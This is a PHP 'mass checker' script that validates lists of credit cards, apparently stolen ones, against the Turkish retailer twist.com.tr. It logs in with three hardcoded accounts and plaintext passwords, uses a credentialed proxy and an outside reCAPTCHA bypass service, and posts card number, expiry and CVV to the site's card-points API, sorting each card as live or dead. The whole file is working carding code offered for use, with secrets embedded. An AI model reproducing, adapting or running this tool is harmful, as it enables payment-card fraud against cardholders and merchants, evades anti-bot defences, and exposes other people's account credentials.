<?php
/**
 * PUAN2 MASS CHECKER - MULTI-WORKER (PHP)
 * Exact PHP port of puan2_multiworker.py
 * Uses 3 sequential workers with isolated sessions
 */

error_reporting(0);
set_time_limit(600);

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no');

function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// Configuration
$PROXY = 'rp.scrapegw.com:6060';
$PROXY_AUTH = 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek';
$BYPASS_API = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php";
$NUM_WORKERS = 3;

// Worker accounts (from valid_accounts.txt)
$WORKER_ACCOUNTS = [
    ['email' => 'ozgeozmen1@hotmail.com', 'password' => 'e36733673E'],
    ['email' => 'durusrn177@gmail.com', 'password' => '123durusirinn'],
    ['email' => 'busracakir3@gmail.com', 'password' => 'busracak123']
];

// Database functions
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        return null;
    }
}

function decrementLimit($pdo, $chatid) {
    try {
        $stmt = $pdo->prepare("UPDATE user_limits SET remaining_checks = remaining_checks - 1 WHERE user_id = ?");
        $stmt->execute([$chatid]);
    } catch (Exception $e) {
        // Silent fail
    }
}

// Cookie management class
class CookieJar {
    private $cookies = [];
    private $cookieFile = null;
    
    public function __construct($worker_id = null) {
        if ($worker_id !== null) {
            $this->cookieFile = sys_get_temp_dir() . '/puan2_worker_' . $worker_id . '_cookies.txt';
            // Clear old cookie file
            if (file_exists($this->cookieFile)) {
                unlink($this->cookieFile);
            }
        }
    }
    
    public function getCookieFile() {
        return $this->cookieFile;
    }
    
    public function extractFromResponse($headers) {
        if (is_array($headers)) {
            foreach ($headers as $header) {
                if (stripos($header, 'Set-Cookie:') === 0) {
                    $cookie_str = substr($header, 12);
                    $parts = explode(';', $cookie_str);
                    $cookie_pair = explode('=', trim($parts[0]), 2);
                    if (count($cookie_pair) == 2) {
                        $this->cookies[$cookie_pair[0]] = $cookie_pair[1];
                    }
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $pairs = [];
        foreach ($this->cookies as $name => $value) {
            $pairs[] = "{$name}={$value}";
        }
        return implode('; ', $pairs);
    }
    
    public function get($name) {
        return isset($this->cookies[$name]) ? $this->cookies[$name] : null;
    }
    
    public function getAllCookieNames() {
        return array_keys($this->cookies);
    }
    
    public function readCookieFromFile($name) {
        if (!$this->cookieFile || !file_exists($this->cookieFile)) {
            return null;
        }
        
        $lines = file($this->cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            if (strpos($line, '#') === 0) {
                continue; // Skip comments
            }
            $parts = explode("\t", $line);
            if (count($parts) >= 7 && $parts[5] === $name) {
                return $parts[6];
            }
        }
        return null;
    }
}

// cURL request function
function curlRequest($url, $method, $headers, $data, &$cookieJar, $proxy) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Cookie file management (persistent cookies)
    if ($cookieJar && $cookieJar->getCookieFile()) {
        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar->getCookieFile());
        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar->getCookieFile());
    }
    
    // Proxy
    global $PROXY_AUTH;
    curl_setopt($ch, CURLOPT_PROXY, $proxy);
    curl_setopt($ch, CURLOPT_PROXYUSERPWD, $PROXY_AUTH);
    
    // Headers
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    // Method & Data
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    }
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    
    curl_close($ch);
    
    $responseHeaders = substr($response, 0, $headerSize);
    $responseBody = substr($response, $headerSize);
    
    // Extract cookies from response
    if ($cookieJar) {
        $cookieJar->extractFromResponse(explode("\n", $responseHeaders));
    }
    
    return [
        'code' => $httpCode,
        'headers' => $responseHeaders,
        'body' => $responseBody
    ];
}

// Get ReCaptcha token
function get_recaptcha_token($bypass_api) {
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $bypass_api . "?anchor=" . urlencode($anchor_url));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        if (isset($data['success']) && $data['success']) {
            return $data['token'] ?? '';
        }
    }
    
    return '';
}

// Login to Twist
function login_to_twist($worker_id, $email, $password, $proxy, $bypass_api, $max_retries = 3) {
    for ($attempt = 0; $attempt < $max_retries; $attempt++) {
        $cookieJar = new CookieJar($worker_id);
        
        try {
            // Step 1: Visit login page
            if ($attempt > 0) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] 🔄 Retry {$attempt}/{$max_retries} - Logging in as {$email}..."]);
            } else {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] 🚀 Starting login as {$email}..."]);
            }
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] [1/4] 📄 Visiting login page..."]);
            
            $resp1 = curlRequest(
                "https://www.twist.com.tr/giris?returnUrl=/login",
                'GET',
                [
                    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ],
                null,
                $cookieJar,
                $proxy
            );
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Status: {$resp1['code']}, Cookies: " . count($cookieJar->getAllCookieNames()) . " items"]);
            
            if ($resp1['code'] != 200) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ Login page failed with status {$resp1['code']}"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       ✅ Login page loaded"]);
            
            // Step 2: Get AntiForgeryToken
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] [2/4] 🔑 Getting AntiForgeryToken..."]);
            
            $resp2 = curlRequest(
                "https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken",
                'GET',
                [
                    'accept: */*',
                    'referer: https://www.twist.com.tr/giris?returnUrl=/login',
                    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ],
                null,
                $cookieJar,
                $proxy
            );
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Status: {$resp2['code']}, Response length: " . strlen($resp2['body']) . " bytes"]);
            
            if ($resp2['code'] != 200) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ Token request failed with status {$resp2['code']}"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            // Parse token
            preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $resp2['body'], $token_match);
            if (!isset($token_match[1])) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ Token not found in response"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            $verification_token = $token_match[1];
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       ✅ Token obtained: " . substr($verification_token, 0, 20) . "..."]);
            
            // Step 3: Get ReCaptcha token
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] [3/4] 🤖 Getting ReCaptcha token from bypass API..."]);
            
            $recaptcha_token = get_recaptcha_token($bypass_api);
            if (!$recaptcha_token) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ ReCaptcha bypass failed"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       ✅ ReCaptcha token: " . substr($recaptcha_token, 0, 30) . "..."]);
            
            // Step 4: Login
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] [4/4] 🔐 Submitting login credentials..."]);
            
            $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
            
            $login_data = "--{$boundary}\r\n";
            $login_data .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n";
            $login_data .= "{$verification_token}\r\n";
            $login_data .= "--{$boundary}\r\n";
            $login_data .= "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n";
            $login_data .= "{$recaptcha_token}\r\n";
            $login_data .= "--{$boundary}\r\n";
            $login_data .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n";
            $login_data .= "{$email}\r\n";
            $login_data .= "--{$boundary}\r\n";
            $login_data .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n";
            $login_data .= "{$password}\r\n";
            $login_data .= "--{$boundary}--\r\n";
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ POST data size: " . strlen($login_data) . " bytes"]);
            
            $resp4 = curlRequest(
                "https://www.twist.com.tr/tr/LogOn",
                'POST',
                [
                    'accept: */*',
                    'content-type: multipart/form-data; boundary=' . $boundary,
                    'origin: https://www.twist.com.tr',
                    'referer: https://www.twist.com.tr/giris?returnUrl=/login',
                    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ],
                $login_data,
                $cookieJar,
                $proxy
            );
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Status: {$resp4['code']}"]);
            
            if ($resp4['code'] != 200) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ Login failed (HTTP {$resp4['code']})"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            $login_response = json_decode($resp4['body'], true);
            $validation = $login_response['TempDataActionResult']['ValidationResult'] ?? [];
            $validation_success = isset($validation['Success']) && $validation['Success'] === true;
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Validation Success: " . ($validation_success ? 'True' : 'False')]);
            
            $response_preview = substr(json_encode($login_response, JSON_UNESCAPED_UNICODE), 0, 500);
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Full login response: {$response_preview}"]);
            
            if (!$validation_success) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ❌ Login validation failed"]);
                if ($attempt < $max_retries - 1) {
                    sleep(2);
                    continue;
                }
                return null;
            }
            
            // Extract UserId from ems-member cookie
            $user_id = null;
            $ems_member_cookie = $cookieJar->get('ems-member');
            
            // If not in memory, try reading from cookie file
            if (!$ems_member_cookie) {
                $ems_member_cookie = $cookieJar->readCookieFromFile('ems-member');
                if ($ems_member_cookie) {
                    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Found ems-member in cookie file"]);
                }
            }
            
            if ($ems_member_cookie) {
                $decoded = urldecode($ems_member_cookie);
                $member_data = json_decode($decoded, true);
                
                if ($member_data && isset($member_data['memberid'])) {
                    $user_id = (string)$member_data['memberid'];
                    $member_name = $member_data['name'] ?? '';
                    $member_surname = $member_data['surname'] ?? '';
                    $member_email = $member_data['email'] ?? '';
                    
                    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ UserId from ems-member cookie: {$user_id}"]);
                    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}]       └─ Member: {$member_name} {$member_surname} ({$member_email})"]);
                } else {
                    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ⚠️ memberid not found in ems-member cookie"]);
                }
            } else {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ⚠️ ems-member cookie not found"]);
            }
            
            if (!$user_id) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ⚠️ UserId not found, using default 157116"]);
                $user_id = '157116';
            }
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ✅ Logged in successfully (UserID: {$user_id})"]);
            
            return [
                'cookieJar' => $cookieJar,
                'user_id' => $user_id
            ];
            
        } catch (Exception $e) {
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ⚠️ Attempt " . ($attempt + 1) . " failed: " . substr($e->getMessage(), 0, 100)]);
            if ($attempt < $max_retries - 1) {
                sleep(2);
                continue;
            }
            return null;
        }
    }
    
    return null;
}

// Check card
function check_card($worker_id, $session, $cc, $month, $year, $cvv, $proxy, $max_retries = 3) {
    $cookieJar = $session['cookieJar'];
    $user_id = $session['user_id'];
    
    for ($retry = 0; $retry < $max_retries; $retry++) {
        try {
            $payload = [
                'CreditCard' => [
                    'Number' => $cc,
                    'Owner' => 'test user',
                    'ExpireYear' => $year,
                    'ExpireMonth' => str_pad($month, 2, '0', STR_PAD_LEFT),
                    'CVC' => $cvv
                ],
                'Money' => [
                    'Amount' => 2688.95,
                    'CurrencyId' => 1
                ],
                'IpAddress' => '127.0.0.1',
                'PaymentProvider' => 'CreditCard'
            ];
            
            $masked = substr($cc, 0, 6) . 'xxxx' . substr($cc, -4);
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [💳 API CALL] POST GetCreditCardPoint"]);
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      └─ Card: {$masked} | Exp: {$month}/{$year} | CVV: {$cvv}"]);
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      └─ Amount: 2688.95 TRY | UserID: {$user_id}"]);
            
            $resp = curlRequest(
                "https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint",
                'POST',
                [
                    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                    'Userid: ' . $user_id,
                    'Content-Type: application/json',
                    'Accept: */*',
                    'Origin: https://www.twist.com.tr',
                    'Referer: https://www.twist.com.tr/sepet',
                    'Sec-Fetch-Site: same-origin',
                    'Sec-Fetch-Mode: cors',
                    'Sec-Fetch-Dest: empty'
                ],
                json_encode($payload),
                $cookieJar,
                $proxy
            );
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [📡 RESPONSE] Status: {$resp['code']}, Length: " . strlen($resp['body']) . " bytes"]);
            
            if ($resp['code'] != 200) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [⚠️ ERROR] Non-200 status: {$resp['code']}"]);
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      └─ Response: " . substr($resp['body'], 0, 150)]);
                
                if ($retry < $max_retries - 1) {
                    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [🔄 RETRY] Waiting 1s before retry " . ($retry + 2) . "/{$max_retries}"]);
                    sleep(1);
                    continue;
                }
                
                return [
                    'card' => "{$cc}|{$month}|{$year}|{$cvv}",
                    'status' => 'ERROR⚠️',
                    'message' => "HTTP {$resp['code']}"
                ];
            }
            
            $data = json_decode($resp['body'], true);
            
            $is_success = isset($data['IsSuccess']) && $data['IsSuccess'] === true;
            $has_point = isset($data['Point']) && isset($data['Point']['Amount']);
            
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [📊 JSON] IsSuccess: " . ($is_success ? 'True' : 'False') . ", HasPoint: " . ($has_point ? 'True' : 'False')]);
            
            $json_preview = substr(json_encode($data, JSON_UNESCAPED_UNICODE), 0, 300);
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      └─ Full response: {$json_preview}"]);
            
            if ($is_success && $has_point) {
                $points = $data['Point']['Amount'];
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [🎉 ✅ LIVE] Card approved with {$points}₺ points!"]);
                return [
                    'card' => "{$cc}|{$month}|{$year}|{$cvv}",
                    'status' => 'APPROVED✅',
                    'message' => "{$points}₺"
                ];
            } else {
                $error_msg = $data['ErrorMessage'] ?? 'No points available';
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [💀 ❌ DEAD] Card declined: {$error_msg}"]);
                return [
                    'card' => "{$cc}|{$month}|{$year}|{$cvv}",
                    'status' => 'DECLINED❌',
                    'message' => '0₺'
                ];
            }
            
        } catch (Exception $e) {
            send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [💥 EXCEPTION] " . substr($e->getMessage(), 0, 100)]);
            
            if ($retry < $max_retries - 1) {
                send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "      [🔄 RETRY] Attempt " . ($retry + 2) . "/{$max_retries}"]);
                sleep(1);
                continue;
            }
            
            return [
                'card' => "{$cc}|{$month}|{$year}|{$cvv}",
                'status' => 'ERROR⚠️',
                'message' => substr($e->getMessage(), 0, 50)
            ];
        }
    }
    
    return [
        'card' => "{$cc}|{$month}|{$year}|{$cvv}",
        'status' => 'ERROR⚠️',
        'message' => 'Max retries exceeded'
    ];
}

// Main execution
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : '';

if (empty($chatid)) {
    send_sse(['type' => 'error', 'message' => 'ChatID gerekli']);
    exit;
}

// Support both comma-separated (URL) and newline-separated cards
$cards_raw = [];
if (strpos($cards_param, ',') !== false) {
    $cards_raw = explode(',', trim($cards_param));
} else {
    $cards_raw = explode("\n", trim($cards_param));
}

$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $parts = explode('|', $card);
        if (count($parts) >= 4) {
            $cards[] = $card;
        }
    }
    if (count($cards) >= 50) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse(['type' => 'error', 'message' => 'Kart bilgisi bulunamadı']);
    exit;
}

send_sse(['type' => 'info', 'message' => "======================================================================"]);
send_sse(['type' => 'info', 'message' => "  PUAN2 MASS CHECKER - MULTI-WORKER"]);
send_sse(['type' => 'info', 'message' => "======================================================================"]);
send_sse(['type' => 'info', 'message' => ""]);
send_sse(['type' => 'info', 'message' => "✅ Loaded {$NUM_WORKERS} worker accounts:"]);
send_sse(['type' => 'info', 'message' => "   Worker 1: " . $WORKER_ACCOUNTS[0]['email']]);
send_sse(['type' => 'info', 'message' => "   Worker 2: " . $WORKER_ACCOUNTS[1]['email']]);
send_sse(['type' => 'info', 'message' => "   Worker 3: " . $WORKER_ACCOUNTS[2]['email']]);
send_sse(['type' => 'info', 'message' => ""]);
send_sse(['type' => 'info', 'message' => "✅ Loaded {$total} cards"]);
send_sse(['type' => 'info', 'message' => "🚀 Starting {$NUM_WORKERS} workers..."]);
send_sse(['type' => 'info', 'message' => ""]);

$pdo = getDBConnection();

// Login all workers
$workers = [];
foreach ($WORKER_ACCOUNTS as $index => $account) {
    $worker_id = $index + 1;
    $session = login_to_twist($worker_id, $account['email'], $account['password'], $PROXY, $BYPASS_API);
    
    if ($session) {
        $workers[] = [
            'id' => $worker_id,
            'session' => $session
        ];
    } else {
        send_sse(['type' => 'error', 'message' => "[Worker {$worker_id}] ❌ Failed to login"]);
    }
    
    usleep(500000); // 0.5 second stagger
}

if (count($workers) == 0) {
    send_sse(['type' => 'error', 'message' => '❌ No workers logged in successfully']);
    exit;
}

send_sse(['type' => 'info', 'message' => ""]);

$results = [];
$approved = 0;
$declined = 0;
$errors = 0;

$start_time = microtime(true);

// Process cards with workers (round-robin)
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    decrementLimit($pdo, $chatid);
    
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        $declined++;
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'approved' => $approved,
            'declined' => $declined,
            'errors' => $errors
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    if (strlen($month_input) === 1) {
        $month_input = "0" . $month_input;
    }
    
    // Round-robin worker selection
    $worker = $workers[$index % count($workers)];
    $worker_id = $worker['id'];
    $session = $worker['session'];
    
    $masked = substr($card_input, 0, 6) . 'xxxx' . substr($card_input, -4);
    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] 🔍 Checking {$masked} ({$month_input}/{$year_input})..."]);
    
    $result = check_card($worker_id, $session, $card_input, $month_input, $year_input, $cvv_input, $PROXY);
    
    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] 📊 Result: " . json_encode($result, JSON_UNESCAPED_UNICODE)]);
    
    $status = $result['status'];
    $amount = rtrim($result['message'], '₺');
    
    if ($status == 'APPROVED✅') {
        $approved++;
    } elseif ($status == 'DECLINED❌') {
        $declined++;
    } else {
        $errors++;
    }
    
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'amount' => $amount,
        'status' => $status
    ];
    
    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] {$status} - {$amount}₺"]);
    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "Progress: {$num}/{$total} (✅{$approved} ❌{$declined} ⚠️{$errors})"]);
    
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'approved' => $approved,
        'declined' => $declined,
        'errors' => $errors,
        'results' => $results
    ]);
}

// Show completed status for each worker
foreach ($workers as $worker) {
    $worker_id = $worker['id'];
    $cards_processed = 0;
    foreach ($results as $result) {
        // Count cards processed by this worker (round-robin: card index % worker count)
        $card_index = $result['number'] - 1;
        if (($card_index % count($workers)) == ($worker_id - 1)) {
            $cards_processed++;
        }
    }
    send_sse(['type' => 'worker_log', 'worker' => $worker_id, 'message' => "[Worker {$worker_id}] ✅ Completed ({$cards_processed} cards)"]);
}

$end_time = microtime(true);
$duration = round($end_time - $start_time, 1);
$speed = $total > 0 ? round($total / $duration, 1) : 0;

send_sse(['type' => 'info', 'message' => ""]);
send_sse(['type' => 'info', 'message' => "======================================================================"]);
send_sse(['type' => 'info', 'message' => "  SUMMARY"]);
send_sse(['type' => 'info', 'message' => "======================================================================"]);
send_sse(['type' => 'info', 'message' => "Total cards: {$total}"]);
send_sse(['type' => 'info', 'message' => "✅ Approved: {$approved}"]);
send_sse(['type' => 'info', 'message' => "❌ Declined: {$declined}"]);
send_sse(['type' => 'info', 'message' => "⚠️ Errors: {$errors}"]);
send_sse(['type' => 'info', 'message' => "⏱️ Time: {$duration} seconds"]);
send_sse(['type' => 'info', 'message' => "⚡ Speed: {$speed} cards/sec"]);
send_sse(['type' => 'info', 'message' => "======================================================================"]);

send_sse([
    'type' => 'complete',
    'total' => $total,
    'approved' => $approved,
    'declined' => $declined,
    'errors' => $errors,
    'duration' => $duration,
    'speed' => $speed,
    'results' => $results
]);

?>
